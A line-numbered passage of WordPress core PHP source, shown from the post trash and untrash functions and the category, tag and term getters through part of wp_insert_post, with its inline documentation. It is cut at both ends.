2770 delete_option( 'page_for_posts', 0 );
2771 }
2772 }
2773 unstick_post( $post->ID );
2774}
2775
2776/**
2777 * Move a post or page to the Trash
2778 *
2779 * If trash is disabled, the post or page is permanently deleted.
2780 *
2781 * @since 2.9.0
2782 *
2783 * @see wp_delete_post()
2784 *
2785 * @param int $post_id Optional. Post ID. Default is ID of the global $post
2786 * if EMPTY_TRASH_DAYS equals true.
2787 * @return WP_Post|false|null Post data on success, false or null on failure.
2788 */
2789function wp_trash_post( $post_id = 0 ) {
2790 if ( ! EMPTY_TRASH_DAYS ) {
2791 return wp_delete_post( $post_id, true );
2792 }
2793
2794 $post = get_post( $post_id );
2795
2796 if ( ! $post ) {
2797 return $post;
2798 }
2799
2800 if ( 'trash' === $post->post_status ) {
2801 return false;
2802 }
2803
2804 /**
2805 * Filters whether a post trashing should take place.
2806 *
2807 * @since 4.9.0
2808 *
2809 * @param bool $trash Whether to go forward with trashing.
2810 * @param WP_Post $post Post object.
2811 */
2812 $check = apply_filters( 'pre_trash_post', null, $post );
2813 if ( null !== $check ) {
2814 return $check;
2815 }
2816
2817 /**
2818 * Fires before a post is sent to the trash.
2819 *
2820 * @since 3.3.0
2821 *
2822 * @param int $post_id Post ID.
2823 */
2824 do_action( 'wp_trash_post', $post_id );
2825
2826 add_post_meta( $post_id, '_wp_trash_meta_status', $post->post_status );
2827 add_post_meta( $post_id, '_wp_trash_meta_time', time() );
2828
2829 wp_update_post( array( 'ID' => $post_id, 'post_status' => 'trash' ) );
2830
2831 wp_trash_post_comments( $post_id );
2832
2833 /**
2834 * Fires after a post is sent to the trash.
2835 *
2836 * @since 2.9.0
2837 *
2838 * @param int $post_id Post ID.
2839 */
2840 do_action( 'trashed_post', $post_id );
2841
2842 return $post;
2843}
2844
2845/**
2846 * Restore a post or page from the Trash.
2847 *
2848 * @since 2.9.0
2849 *
2850 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
2851 * @return WP_Post|false|null Post data on success, false or null on failure.
2852 */
2853function wp_untrash_post( $post_id = 0 ) {
2854 $post = get_post( $post_id );
2855
2856 if ( ! $post ) {
2857 return $post;
2858 }
2859
2860 if ( 'trash' !== $post->post_status ) {
2861 return false;
2862 }
2863
2864 /**
2865 * Filters whether a post untrashing should take place.
2866 *
2867 * @since 4.9.0
2868 *
2869 * @param bool $untrash Whether to go forward with untrashing.
2870 * @param WP_Post $post Post object.
2871 */
2872 $check = apply_filters( 'pre_untrash_post', null, $post );
2873 if ( null !== $check ) {
2874 return $check;
2875 }
2876
2877 /**
2878 * Fires before a post is restored from the trash.
2879 *
2880 * @since 2.9.0
2881 *
2882 * @param int $post_id Post ID.
2883 */
2884 do_action( 'untrash_post', $post_id );
2885
2886 $post_status = get_post_meta( $post_id, '_wp_trash_meta_status', true );
2887
2888 delete_post_meta( $post_id, '_wp_trash_meta_status' );
2889 delete_post_meta( $post_id, '_wp_trash_meta_time' );
2890
2891 wp_update_post( array( 'ID' => $post_id, 'post_status' => $post_status ) );
2892
2893 wp_untrash_post_comments( $post_id );
2894
2895 /**
2896 * Fires after a post is restored from the trash.
2897 *
2898 * @since 2.9.0
2899 *
2900 * @param int $post_id Post ID.
2901 */
2902 do_action( 'untrashed_post', $post_id );
2903
2904 return $post;
2905}
2906
2907/**
2908 * Moves comments for a post to the trash.
2909 *
2910 * @since 2.9.0
2911 *
2912 * @global wpdb $wpdb WordPress database abstraction object.
2913 *
2914 * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post.
2915 * @return mixed|void False on failure.
2916 */
2917function wp_trash_post_comments( $post = null ) {
2918 global $wpdb;
2919
2920 $post = get_post($post);
2921 if ( empty($post) )
2922 return;
2923
2924 $post_id = $post->ID;
2925
2926 /**
2927 * Fires before comments are sent to the trash.
2928 *
2929 * @since 2.9.0
2930 *
2931 * @param int $post_id Post ID.
2932 */
2933 do_action( 'trash_post_comments', $post_id );
2934
2935 $comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_ID, comment_approved FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id) );
2936 if ( empty($comments) )
2937 return;
2938
2939 // Cache current status for each comment.
2940 $statuses = array();
2941 foreach ( $comments as $comment )
2942 $statuses[$comment->comment_ID] = $comment->comment_approved;
2943 add_post_meta($post_id, '_wp_trash_meta_comments_status', $statuses);
2944
2945 // Set status for all comments to post-trashed.
2946 $result = $wpdb->update($wpdb->comments, array('comment_approved' => 'post-trashed'), array('comment_post_ID' => $post_id));
2947
2948 clean_comment_cache( array_keys($statuses) );
2949
2950 /**
2951 * Fires after comments are sent to the trash.
2952 *
2953 * @since 2.9.0
2954 *
2955 * @param int $post_id Post ID.
2956 * @param array $statuses Array of comment statuses.
2957 */
2958 do_action( 'trashed_post_comments', $post_id, $statuses );
2959
2960 return $result;
2961}
2962
2963/**
2964 * Restore comments for a post from the trash.
2965 *
2966 * @since 2.9.0
2967 *
2968 * @global wpdb $wpdb WordPress database abstraction object.
2969 *
2970 * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post.
2971 * @return true|void
2972 */
2973function wp_untrash_post_comments( $post = null ) {
2974 global $wpdb;
2975
2976 $post = get_post($post);
2977 if ( empty($post) )
2978 return;
2979
2980 $post_id = $post->ID;
2981
2982 $statuses = get_post_meta($post_id, '_wp_trash_meta_comments_status', true);
2983
2984 if ( empty($statuses) )
2985 return true;
2986
2987 /**
2988 * Fires before comments are restored for a post from the trash.
2989 *
2990 * @since 2.9.0
2991 *
2992 * @param int $post_id Post ID.
2993 */
2994 do_action( 'untrash_post_comments', $post_id );
2995
2996 // Restore each comment to its original status.
2997 $group_by_status = array();
2998 foreach ( $statuses as $comment_id => $comment_status )
2999 $group_by_status[$comment_status][] = $comment_id;
3000
3001 foreach ( $group_by_status as $status => $comments ) {
3002 // Sanity check. This shouldn't happen.
3003 if ( 'post-trashed' == $status ) {
3004 $status = '0';
3005 }
3006 $comments_in = implode( ', ', array_map( 'intval', $comments ) );
3007 $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->comments SET comment_approved = %s WHERE comment_ID IN ($comments_in)", $status ) );
3008 }
3009
3010 clean_comment_cache( array_keys($statuses) );
3011
3012 delete_post_meta($post_id, '_wp_trash_meta_comments_status');
3013
3014 /**
3015 * Fires after comments are restored for a post from the trash.
3016 *
3017 * @since 2.9.0
3018 *
3019 * @param int $post_id Post ID.
3020 */
3021 do_action( 'untrashed_post_comments', $post_id );
3022}
3023
3024/**
3025 * Retrieve the list of categories for a post.
3026 *
3027 * Compatibility layer for themes and plugins. Also an easy layer of abstraction
3028 * away from the complexity of the taxonomy layer.
3029 *
3030 * @since 2.1.0
3031 *
3032 * @see wp_get_object_terms()
3033 *
3034 * @param int $post_id Optional. The Post ID. Does not default to the ID of the
3035 * global $post. Default 0.
3036 * @param array $args Optional. Category query parameters. Default empty array.
3037 * See WP_Term_Query::__construct() for supported arguments.
3038 * @return array|WP_Error List of categories. If the `$fields` argument passed via `$args` is 'all' or
3039 * 'all_with_object_id', an array of WP_Term objects will be returned. If `$fields`
3040 * is 'ids', an array of category ids. If `$fields` is 'names', an array of category names.
3041 * WP_Error object if 'category' taxonomy doesn't exist.
3042 */
3043function wp_get_post_categories( $post_id = 0, $args = array() ) {
3044 $post_id = (int) $post_id;
3045
3046 $defaults = array('fields' => 'ids');
3047 $args = wp_parse_args( $args, $defaults );
3048
3049 $cats = wp_get_object_terms($post_id, 'category', $args);
3050 return $cats;
3051}
3052
3053/**
3054 * Retrieve the tags for a post.
3055 *
3056 * There is only one default for this function, called 'fields' and by default
3057 * is set to 'all'. There are other defaults that can be overridden in
3058 * wp_get_object_terms().
3059 *
3060 * @since 2.3.0
3061 *
3062 * @param int $post_id Optional. The Post ID. Does not default to the ID of the
3063 * global $post. Default 0.
3064 * @param array $args Optional. Tag query parameters. Default empty array.
3065 * See WP_Term_Query::__construct() for supported arguments.
3066 * @return array|WP_Error Array of WP_Term objects on success or empty array if no tags were found.
3067 * WP_Error object if 'post_tag' taxonomy doesn't exist.
3068 */
3069function wp_get_post_tags( $post_id = 0, $args = array() ) {
3070 return wp_get_post_terms( $post_id, 'post_tag', $args);
3071}
3072
3073/**
3074 * Retrieves the terms for a post.
3075 *
3076 * @since 2.8.0
3077 *
3078 * @param int $post_id Optional. The Post ID. Does not default to the ID of the
3079 * global $post. Default 0.
3080 * @param string|array $taxonomy Optional. The taxonomy slug or array of slugs for which
3081 * to retrieve terms. Default 'post_tag'.
3082 * @param array $args {
3083 * Optional. Term query parameters. See WP_Term_Query::__construct() for supported arguments.
3084 *
3085 * @type string $fields Term fields to retrieve. Default 'all'.
3086 * }
3087 * @return array|WP_Error Array of WP_Term objects on success or empty array if no terms were found.
3088 * WP_Error object if `$taxonomy` doesn't exist.
3089 */
3090function wp_get_post_terms( $post_id = 0, $taxonomy = 'post_tag', $args = array() ) {
3091 $post_id = (int) $post_id;
3092
3093 $defaults = array('fields' => 'all');
3094 $args = wp_parse_args( $args, $defaults );
3095
3096 $tags = wp_get_object_terms($post_id, $taxonomy, $args);
3097
3098 return $tags;
3099}
3100
3101/**
3102 * Retrieve a number of recent posts.
3103 *
3104 * @since 1.0.0
3105 *
3106 * @see get_posts()
3107 *
3108 * @param array $args Optional. Arguments to retrieve posts. Default empty array.
3109 * @param string $output Optional. The required return type. One of OBJECT or ARRAY_A, which correspond to
3110 * a WP_Post object or an associative array, respectively. Default ARRAY_A.
3111 * @return array|false Array of recent posts, where the type of each element is determined by $output parameter.
3112 * Empty array on failure.
3113 */
3114function wp_get_recent_posts( $args = array(), $output = ARRAY_A ) {
3115
3116 if ( is_numeric( $args ) ) {
3117 _deprecated_argument( __FUNCTION__, '3.1.0', __( 'Passing an integer number of posts is deprecated. Pass an array of arguments instead.' ) );
3118 $args = array( 'numberposts' => absint( $args ) );
3119 }
3120
3121 // Set default arguments.
3122 $defaults = array(
3123 'numberposts' => 10, 'offset' => 0,
3124 'category' => 0, 'orderby' => 'post_date',
3125 'order' => 'DESC', 'include' => '',
3126 'exclude' => '', 'meta_key' => '',
3127 'meta_value' =>'', 'post_type' => 'post', 'post_status' => 'draft, publish, future, pending, private',
3128 'suppress_filters' => true
3129 );
3130
3131 $r = wp_parse_args( $args, $defaults );
3132
3133 $results = get_posts( $r );
3134
3135 // Backward compatibility. Prior to 3.1 expected posts to be returned in array.
3136 if ( ARRAY_A == $output ){
3137 foreach ( $results as $key => $result ) {
3138 $results[$key] = get_object_vars( $result );
3139 }
3140 return $results ? $results : array();
3141 }
3142
3143 return $results ? $results : false;
3144
3145}
3146
3147/**
3148 * Insert or update a post.
3149 *
3150 * If the $postarr parameter has 'ID' set to a value, then post will be updated.
3151 *
3152 * You can set the post date manually, by setting the values for 'post_date'
3153 * and 'post_date_gmt' keys. You can close the comments or open the comments by
3154 * setting the value for 'comment_status' key.
3155 *
3156 * @since 1.0.0
3157 * @since 4.2.0 Support was added for encoding emoji in the post title, content, and excerpt.
3158 * @since 4.4.0 A 'meta_input' array can now be passed to `$postarr` to add post meta data.
3159 *
3160 * @see sanitize_post()
3161 * @global wpdb $wpdb WordPress database abstraction object.
3162 *
3163 * @param array $postarr {
3164 * An array of elements that make up a post to update or insert.
3165 *
3166 * @type int $ID The post ID. If equal to something other than 0,
3167 * the post with that ID will be updated. Default 0.
3168 * @type int $post_author The ID of the user who added the post. Default is
3169 * the current user ID.
3170 * @type string $post_date The date of the post. Default is the current time.
3171 * @type string $post_date_gmt The date of the post in the GMT timezone. Default is
3172 * the value of `$post_date`.
3173 * @type mixed $post_content The post content. Default empty.
3174 * @type string $post_content_filtered The filtered post content. Default empty.
3175 * @type string $post_title The post title. Default empty.
3176 * @type string $post_excerpt The post excerpt. Default empty.
3177 * @type string $post_status The post status. Default 'draft'.
3178 * @type string $post_type The post type. Default 'post'.
3179 * @type string $comment_status Whether the post can accept comments. Accepts 'open' or 'closed'.
3180 * Default is the value of 'default_comment_status' option.
3181 * @type string $ping_status Whether the post can accept pings. Accepts 'open' or 'closed'.
3182 * Default is the value of 'default_ping_status' option.
3183 * @type string $post_password The password to access the post. Default empty.
3184 * @type string $post_name The post name. Default is the sanitized post title
3185 * when creating a new post.
3186 * @type string $to_ping Space or carriage return-separated list of URLs to ping.
3187 * Default empty.
3188 * @type string $pinged Space or carriage return-separated list of URLs that have
3189 * been pinged. Default empty.
3190 * @type string $post_modified The date when the post was last modified. Default is
3191 * the current time.
3192 * @type string $post_modified_gmt The date when the post was last modified in the GMT
3193 * timezone. Default is the current time.
3194 * @type int $post_parent Set this for the post it belongs to, if any. Default 0.
3195 * @type int $menu_order The order the post should be displayed in. Default 0.
3196 * @type string $post_mime_type The mime type of the post. Default empty.
3197 * @type string $guid Global Unique ID for referencing the post. Default empty.
3198 * @type array $post_category Array of category names, slugs, or IDs.
3199 * Defaults to value of the 'default_category' option.
3200 * @type array $tags_input Array of tag names, slugs, or IDs. Default empty.
3201 * @type array $tax_input Array of taxonomy terms keyed by their taxonomy name. Default empty.
3202 * @type array $meta_input Array of post meta values keyed by their post meta key. Default empty.
3203 * }
3204 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
3205 * @return int|WP_Error The post ID on success. The value 0 or WP_Error on failure.
3206 */
3207function wp_insert_post( $postarr, $wp_error = false ) {
3208 global $wpdb;
3209
3210 $user_id = get_current_user_id();
3211
3212 $defaults = array(
3213 'post_author' => $user_id,
3214 'post_content' => '',
3215 'post_content_filtered' => '',
3216 'post_title' => '',
3217 'post_excerpt' => '',
3218 'post_status' => 'draft',
3219 'post_type' => 'post',
3220 'comment_status' => '',
3221 'ping_status' => '',
3222 'post_password' => '',
3223 'to_ping' => '',
3224 'pinged' => '',
3225 'post_parent' => 0,
3226 'menu_order' => 0,
3227 'guid' => '',
3228 'import_id' => 0,
3229 'context' => '',
3230 );
3231
3232 $postarr = wp_parse_args($postarr, $defaults);
3233
3234 unset( $postarr[ 'filter' ] );
3235
3236 $postarr = sanitize_post($postarr, 'db');
3237
3238 // Are we updating or creating?
3239 $post_ID = 0;
3240 $update = false;
3241 $guid = $postarr['guid'];
3242
3243 if ( ! empty( $postarr['ID'] ) ) {
3244 $update = true;
3245
3246 // Get the post ID and GUID.
3247 $post_ID = $postarr['ID'];
3248 $post_before = get_post( $post_ID );
3249 if ( is_null( $post_before ) ) {
3250 if ( $wp_error ) {
3251 return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
3252 }
3253 return 0;
3254 }
3255
3256 $guid = get_post_field( 'guid', $post_ID );
3257 $previous_status = get_post_field('post_status', $post_ID );
3258 } else {
3259 $previous_status = 'new';
3260 }
3261
3262 $post_type = empty( $postarr['post_type'] ) ? 'post' : $postarr['post_type'];
3263
3264 $post_title = $postarr['post_title'];
3265 $post_content = $postarr['post_content'];
3266 $post_excerpt = $postarr['post_excerpt'];
3267 if ( isset( $postarr['post_name'] ) ) {
3268 $post_name = $postarr['post_name'];
3269 } elseif ( $update ) {
3270 // For an update, don't modify the post_name if it wasn't supplied as an argument.
3271 $post_name = $post_before->post_name;
3272 }
3273
3274 $maybe_empty = 'attachment' !== $post_type
3275 && ! $post_content && ! $post_title && ! $post_excerpt
3276 && post_type_supports( $post_type, 'editor' )
3277 && post_type_supports( $post_type, 'title' )
3278 && post_type_supports( $post_type, 'excerpt' );
3279
3280 /**
3281 * Filters whether the post should be considered "empty".
3282 *
3283 * The post is considered "empty" if both:
3284 * 1. The post type supports the title, editor, and excerpt fields
3285 * 2. The title, editor, and excerpt fields are all empty
3286 *
3287 * Returning a truthy value to the filter will effectively short-circuit
3288 * the new post being inserted, returning 0. If $wp_error is true, a WP_Error
3289 * will be returned instead.
3290 *
3291 * @since 3.3.0
3292 *
3293 * @param bool $maybe_empty Whether the post should be considered "empty".
3294 * @param array $postarr Array of post data.
3295 */
3296 if ( apply_filters( 'wp_insert_post_empty_content', $maybe_empty, $postarr ) ) {
3297 if ( $wp_error ) {
3298 return new WP_Error( 'empty_content', __( 'Content, title, and excerpt are empty.' ) );
3299 } else {
3300 return 0;
3301 }
3302 }
3303
3304 $post_status = empty( $postarr['post_status'] ) ? 'draft' : $postarr['post_status'];
3305 if ( 'attachment' === $post_type && ! in_array( $post_status, array( 'inherit', 'private', 'trash', 'auto-draft' ), true ) ) {
3306 $post_status = 'inherit';
3307 }
3308
3309 if ( ! empty( $postarr['post_category'] ) ) {
3310 // Filter out empty terms.
3311 $post_category = array_filter( $postarr['post_category'] );
3312 }
3313
3314 // Make sure we set a valid category.
3315 if ( empty( $post_category ) || 0 == count( $post_category ) || ! is_array( $post_category ) ) {
3316 // 'post' requires at least one category.
3317 if ( 'post' == $post_type && 'auto-draft' != $post_status ) {
3318 $post_category = array( get_option('default_category') );
3319 } else {
3320 $post_category = array();
3321 }
3322 }
3323
3324 // Don't allow contributors to set the post slug for pending review posts.
3325 if ( 'pending' == $post_status && !current_user_can( 'publish_posts' ) ) {
3326 $post_name = '';
3327 }
3328
3329 /*
3330 * Create a valid post name. Drafts and pending posts are allowed to have
3331 * an empty post name.
3332 */
3333 if ( empty($post_name) ) {
3334 if ( !in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) ) {
3335 $post_name = sanitize_title($post_title);
3336 } else {
3337 $post_name = '';
3338 }
3339 } else {
3340 // On updates, we need to check to see if it's using the old, fixed sanitization context.
3341 $check_name = sanitize_title( $post_name, '', 'old-save' );
3342 if ( $update && strtolower( urlencode( $post_name ) ) == $check_name && get_post_field( 'post_name', $post_ID ) == $check_name ) {
3343 $post_name = $check_name;
3344 } else { // new post, or slug has changed.
3345 $post_name = sanitize_title($post_name);
3346 }
3347 }
3348
3349 /*
3350 * If the post date is empty (due to having been new or a draft) and status
3351 * is not 'draft' or 'pending', set date to now.
3352 */
3353 if ( empty( $postarr['post_date'] ) || '0000-00-00 00:00:00' == $postarr['post_date'] ) {
3354 if ( empty( $postarr['post_date_gmt'] ) || '0000-00-00 00:00:00' == $postarr['post_date_gmt'] ) {
3355 $post_date = current_time( 'mysql' );
3356 } else {
3357 $post_date = get_date_from_gmt( $postarr['post_date_gmt'] );
3358 }
3359 } else {
3360 $post_date = $postarr['post_date'];
3361 }
3362
3363 // Validate the date.
3364 $mm = substr( $post_date, 5, 2 );
3365 $jj = substr( $post_date, 8, 2 );
3366 $aa = substr( $post_date, 0, 4 );
3367 $valid_date = wp_checkdate( $mm, $jj, $aa, $post_date );
3368 if ( ! $valid_date ) {
3369 if ( $wp_error ) {
3370 return new WP_Error( 'invalid_date', __( 'Invalid date.' ) );
3371 } else {
3372 return 0;
3373 }
3374 }
3375
3376 if ( empty( $postarr['post_date_gmt'] ) || '0000-00-00 00:00:00' == $postarr['post_date_gmt'] ) {
3377 if ( ! in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) ) {
3378 $post_date_gmt = get_gmt_from_date( $post_date );
3379 } else {
3380 $post_date_gmt = '0000-00-00 00:00:00';
3381 }
3382 } else {
3383 $post_date_gmt = $postarr['post_date_gmt'];
3384 }
3385
3386 if ( $update || '0000-00-00 00:00:00' == $post_date ) {
3387 $post_modified = current_time( 'mysql' );
3388 $post_modified_gmt = current_time( 'mysql', 1 );
3389 } else {
3390 $post_modified = $post_date;
3391 $post_modified_gmt = $post_date_gmt;
3392 }
3393
3394 if ( 'attachment' !== $post_type ) {
3395 if ( 'publish' == $post_status ) {
3396 $now = gmdate('Y-m-d H:i:59');
3397 if ( mysql2date('U', $post_date_gmt, false) > mysql2date('U', $now, false) ) {
3398 $post_status = 'future';
3399 }
3400 } elseif ( 'future' == $post_status ) {
3401 $now = gmdate('Y-m-d H:i:59');
3402 if ( mysql2date('U', $post_date_gmt, false) <= mysql2date('U', $now, false) ) {
3403 $post_status = 'publish';
3404 }
3405 }
3406 }
3407
3408 // Comment status.
3409 if ( empty( $postarr['comment_status'] ) ) {
3410 if ( $update ) {
3411 $comment_status = 'closed';
3412 } else {
3413 $comment_status = get_default_comment_status( $post_type );
3414 }
3415 } else {
3416 $comment_status = $postarr['comment_status'];
3417 }
3418
3419 // These variables are needed by compact() later.
3420 $post_content_filtered = $postarr['post_content_filtered'];
3421 $post_author = isset( $postarr['post_author'] ) ? $postarr['post_author'] : $user_id;
3422 $ping_status = empty( $postarr['ping_status'] ) ? get_default_comment_status( $post_type, 'pingback' ) : $postarr['ping_status'];
3423 $to_ping = isset( $postarr['to_ping'] ) ? sanitize_trackback_urls( $postarr['to_ping'] ) : '';
3424 $pinged = isset( $postarr['pinged'] ) ? $postarr['pinged'] : '';
3425 $import_id = isset( $postarr['import_id'] ) ? $postarr['import_id'] : 0;
3426
3427 /*
3428 * The 'wp_insert_post_parent' filter expects all variables to be present.
3429 * Previously, these variables would have already been extracted
3430 */
3431 if ( isset( $postarr['menu_order'] ) ) {
3432 $menu_order = (int) $postarr['menu_order'];
3433 } else {
3434 $menu_order = 0;
3435 }
3436
3437 $post_password = isset( $postarr['post_password'] ) ? $postarr['post_password'] : '';
3438 if ( 'private' == $post_status ) {
3439 $post_password = '';
3440 }
3441
3442 if ( isset( $postarr['post_parent'] ) ) {
3443 $post_parent = (int) $postarr['post_parent'];
3444 } else {
3445 $post_parent = 0;
3446 }
3447
3448 $new_postarr = array_merge(
3449 array(
3450 'ID' => $post_ID,
3451 ),
3452 compact( array_diff( array_keys( $defaults ), array( 'context', 'filter' ) ) )
3453 );
3454
3455 /**
3456 * Filters the post parent -- used to check for and prevent hierarchy loops.
3457 *
3458 * @since 3.1.0
3459 *
3460 * @param int $post_parent Post parent ID.
3461 * @param int $post_ID Post ID.
3462 * @param array $new_postarr Array of parsed post data.
3463 * @param array $postarr Array of sanitized, but otherwise unmodified post data.
3464 */
3465 $post_parent = apply_filters( 'wp_insert_post_parent', $post_parent, $post_ID, $new_postarr, $postarr );
3466
3467 /*
3468 * If the post is being untrashed and it has a desired slug stored in post meta,
3469 * reassign it.
3470 */
3471 if ( 'trash' === $previous_status && 'trash' !== $post_status ) {
3472 $desired_post_slug = get_post_meta( $post_ID, '_wp_desired_post_slug', true );
3473 if ( $desired_post_slug ) {
3474 delete_post_meta( $post_ID, '_wp_desired_post_slug' );
3475 $post_name = $desired_post_slug;
3476 }
3477 }
3478
3479 // If a trashed post has the desired slug, change it and let this post have it.
3480 if ( 'trash' !== $post_status && $post_name ) {
3481 wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_ID );
3482 }
3483
3484 // When trashing an existing post, change its slug to allow non-trashed posts to use it.
3485 if ( 'trash' === $post_status && 'trash' !== $previous_status && 'new' !== $previous_status ) {
3486 $post_name = wp_add_trashed_suffix_to_post_name_for_post( $post_ID );
3487 }
3488
3489 $post_name = wp_unique_post_slug( $post_name, $post_ID, $post_status, $post_type, $post_parent );
3490
3491 // Don't unslash.
3492 $post_mime_type = isset( $postarr['post_mime_type'] ) ? $postarr['post_mime_type'] : '';
3493
3494 // Expected_slashed (everything!).
3495 $data = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'post_mime_type', 'guid' );
3496
3497 $emoji_fields = array( 'post_title', 'post_content', 'post_excerpt' );
3498
3499 foreach ( $emoji_fields as $emoji_field ) {
3500 if ( isset( $data[ $emoji_field ] ) ) {
3501 $charset = $wpdb->get_col_charset( $wpdb->posts, $emoji_field );
3502 if ( 'utf8' === $charset ) {
3503 $data[ $emoji_field ] = wp_encode_emoji( $data[ $emoji_field ] );
3504 }
3505 }
3506 }
3507
3508 if ( 'attachment' === $post_type ) {
3509 /**
3510 * Filters attachment post data before it is updated in or added to the database.
3511 *
3512 * @since 3.9.0
3513 *
3514 * @param array $data An array of sanitized attachment post data.
3515 * @param array $postarr An array of unsanitized attachment post data.
3516 */
3517 $data = apply_filters( 'wp_insert_attachment_data', $data, $postarr );
3518 } else {
3519 /**
3520 * Filters slashed post data just before it is inserted into the database.
3521 *
3522 * @since 2.7.0
3523 *
3524 * @param array $data An array of slashed post data.
3525 * @param array $postarr An array of sanitized, but otherwise unmodified post data.
3526 */
3527 $data = apply_filters( 'wp_insert_post_data', $data, $postarr );
3528 }
3529 $data = wp_unslash( $data );
3530 $where = array( 'ID' => $post_ID );
3531
3532 if ( $update ) {
3533 /**
3534 * Fires immediately before an existing post is updated in the database.
3535 *
3536 * @since 2.5.0
3537 *
3538 * @param int $post_ID Post ID.
3539 * @param array $data Array of unslashed post data.
3540 */
3541 do_action( 'pre_post_update', $post_ID, $data );
3542 if ( false === $wpdb->update( $wpdb->posts, $data, $where ) ) {
3543 if ( $wp_error ) {
3544 return new WP_Error('db_update_error', __('Could not update post in the database'), $wpdb->last_error);
3545 } else {
3546 return 0;
3547 }
3548 }
3549 } else {
3550 // If there is a suggested ID, use it if not already present.
3551 if ( ! empty( $import_id ) ) {
3552 $import_id = (int) $import_id;
3553 if ( ! $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id) ) ) {
3554 $data['ID'] = $import_id;
3555 }
3556 }
3557 if ( false === $wpdb->insert( $wpdb->posts, $data ) ) {
3558 if ( $wp_error ) {
3559 return new WP_Error('db_insert_error', __('Could not insert post into the database'), $wpdb->last_error);
3560 } else {
3561 return 0;
3562 }
3563 }
3564 $post_ID = (int) $wpdb->insert_id;
3565
3566 // Use the newly generated $post_ID.
3567 $where = array( 'ID' => $post_ID );
3568 }
3569
3570 if ( empty( $data['post_name'] ) && ! in_array( $data['post_status'], array( 'draft', 'pending', 'auto-draft' ) ) ) {
3571 $data['post_name'] = wp_unique_post_slug( sanitize_title( $data['post_title'], $post_ID ), $post_ID, $data['post_status'], $post_type, $post_parent );
3572 $wpdb->update( $wpdb->posts, array( 'post_name' => $data['post_name'] ), $where );
3573 clean_post_cache( $post_ID );
3574 }
3575
3576 if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
3577 wp_set_post_categories( $post_ID, $post_category );
3578 }
3579
3580 if ( isset( $postarr['tags_input'] ) && is_object_in_taxonomy( $post_type, 'post_tag' ) ) {
3581 wp_set_post_tags( $post_ID, $postarr['tags_input'] );
3582 }
3583
3584 // New-style support for all custom taxonomies.
3585 if ( ! empty( $postarr['tax_input'] ) ) {
3586 foreach ( $postarr['tax_input'] as $taxonomy => $tags ) {
3587 $taxonomy_obj = get_taxonomy($taxonomy);
3588 if ( ! $taxonomy_obj ) {
3589 /* translators: %s: taxonomy name */
3590 _doing_it_wrong( __FUNCTION__, sprintf( __( 'Invalid taxonomy: %s.' ), $taxonomy ), '4.4.0' );
3591 continue;
3592 }
3593
3594 // array = hierarchical, string = non-hierarchical.
3595 if ( is_array( $tags ) ) {
3596 $tags = array_filter($tags);
3597 }
3598 if ( current_user_can( $taxonomy_obj->cap->assign_terms ) ) {
3599 wp_set_post_terms( $post_ID, $tags, $taxonomy );
3600 }
3601 }
3602 }
3603
3604 if ( ! empty( $postarr['meta_input'] ) ) {
3605 foreach ( $postarr['meta_input'] as $field => $value ) {
3606 update_post_meta( $post_ID, $field, $value );
3607 }
3608 }
3609
3610 $current_guid = get_post_field( 'guid', $post_ID );
3611
3612 // Set GUID.
3613 if ( ! $update && '' == $current_guid ) {
3614 $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post_ID ) ), $where );
3615 }
3616
3617 if ( 'attachment' === $postarr['post_type'] ) {
3618 if ( ! empty( $postarr['file'] ) ) {
3619 update_attached_file( $post_ID, $postarr['file'] );
3620 }
3621
3622 if ( ! empty( $postarr['context'] ) ) {
3623 add_post_meta( $post_ID, '_wp_attachment_context', $postarr['context'], true );
3624 }
3625 }
3626
3627 // Set or remove featured image.
3628 if ( isset( $postarr['_thumbnail_id'] ) ) {
3629 $thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' ) || 'revision' === $post_type;
3630 if ( ! $thumbnail_support && 'attachment' === $post_type && $post_mime_type ) {
3631 if ( wp_attachment_is( 'audio', $post_ID ) ) {
3632 $thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
3633 } elseif ( wp_attachment_is( 'video', $post_ID ) ) {
3634 $thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
3635 }
3636 }
3637
3638 if ( $thumbnail_support ) {
3639 $thumbnail_id = intval( $postarr['_thumbnail_id'] );
3640 if ( -1 === $thumbnail_id ) {
3641 delete_post_thumbnail( $post_ID );
3642 } else {
3643 set_post_thumbnail( $post_ID, $thumbnail_id );
3644 }
3645 }
3646 }
3647
3648 clean_post_cache( $post_ID );
3649
3650 $post = get_post( $post_ID );
3651
3652 if ( ! empty( $postarr['page_template'] ) ) {
3653 $post->page_template = $postarr['page_template'];
3654 $page_templates = wp_get_theme()->get_page_templates( $post );
3655 if ( 'default' != $postarr['page_template'] && ! isset( $page_templates[ $postarr['page_template'] ] ) ) {
3656 if ( $wp_error ) {
3657 return new WP_Error( 'invalid_page_template', __( 'Invalid page template.' ) );
3658 }
3659 update_post_meta( $post_ID, '_wp_page_template', 'default' );
3660 } else {
3661 update_post_meta( $post_ID, '_wp_page_template', $postarr['page_template'] );
3662 }
3663 }
3664
3665 if ( 'attachment' !== $postarr['post_type'] ) {
3666 wp_transition_post_status( $data['post_status'], $previous_status, $post );
3667 } else {
3668 if ( $update ) {
3669 /**
3670 * Fires once an existing attachment has been updated.
3671 *
3672 * @since 2.0.0
3673 *
3674 * @param int $post_ID Attachment ID.
3675 */
3676 do_action( 'edit_attachment', $post_ID );
